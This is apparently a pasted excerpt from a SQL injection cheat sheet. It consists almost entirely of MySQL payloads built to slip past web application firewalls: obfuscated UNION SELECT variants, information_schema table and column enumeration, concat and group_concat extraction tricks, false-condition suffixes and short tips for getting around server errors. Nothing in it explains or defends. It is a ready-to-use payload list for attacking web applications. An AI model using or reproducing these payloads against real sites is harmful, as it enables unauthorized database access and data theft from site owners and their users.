  632. UNION/*&test=1*/SELECT/*&pwn=2*/
  633. un?<ion sel="">+un/**/ion+se/**/lect+
  634. +UNunionION+SEselectLECT+
  635. +uni%0bon+se%0blect+
  636. %252f%252a*/union%252f%252a /select%252f%252a*/
  637. /%2A%2A/union/%2A%2A/select/%2A%2A/
  638. %2f**%2funion%2f**%2fselect%2f**%2f
  639. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  640. /*!UnIoN*/SeLecT+
  641. [~] information_schema.tables [~]
  642. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
  643. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
  644. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
  645. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
  646. /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  647. /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
  648. [~] concat() [~]
  649. CoNcAt()
  650. concat()
  651. CON%08CAT()
  652. CoNcAt()
  653. %0AcOnCat()
  654. /**//*!12345cOnCat*/
  655. /*!50000cOnCat*/(/*!*/)
  656. unhex(hex(concat(table_name)))
  657. unhex(hex(/*!12345concat*/(table_name)))
  658. unhex(hex(/*!50000concat*/(table_name)))
  659. [~] group_concat() [~]
  660. /*!group_concat*/()
  661. gRoUp_cOnCAt()
  662. group_concat(/*!*/)
  663. group_concat(/*!12345table_name*/)
  664. group_concat(/*!50000table_name*/)
  665. /*!group_concat*/(/*!12345table_name*/)
  666. /*!group_concat*/(/*!50000table_name*/)
  667. /*!12345group_concat*/(/*!12345table_name*/)
  668. /*!50000group_concat*/(/*!50000table_name*/)
  669. /*!GrOuP_ConCaT*/()
  670. /*!12345GroUP_ConCat*/()
  671. /*!50000gRouP_cOnCaT*/()
  672. /*!50000Gr%6fuP_c%6fnCAT*/()
  673. unhex(hex(group_concat(table_name)))
  674. unhex(hex(/*!group_concat*/(/*!table_name*/)))
  675. unhex(hex(/*!12345group_concat*/(table_name)))
  676. unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
  677. unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
  678. unhex(hex(/*!50000group_concat*/(table_name)))
  679. unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
  680. unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
  681. convert(group_concat(table_name)+using+ascii)
  682. convert(group_concat(/*!table_name*/)+using+ascii)
  683. convert(group_concat(/*!12345table_name*/)+using+ascii)
  684. convert(group_concat(/*!50000table_name*/)+using+ascii)
  685. CONVERT(group_concat(table_name)+USING+latin1)
  686. CONVERT(group_concat(table_name)+USING+latin2)
  687. CONVERT(group_concat(table_name)+USING+latin3)
  688. CONVERT(group_concat(table_name)+USING+latin4)
  689. CONVERT(group_concat(table_name)+USING+latin5)
  690. [~] after id no. like id=1 +/*!and*/+1=0 [~]
  691. +div+0
  692. Having+1=0
  693. +AND+1=0
  694. +/*!and*/+1=0
  695. and(1)=(0)
  696. when the --+- or -- dosen't work use ;%00
  697. bypass error 505
  698. sometimes when union select ,sites become 505 or time out....
  699. bypass-
  700. -use brackets
  701. union(select+1)
  702. -use %0b or /**/ as space
  703. union%0bselect
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement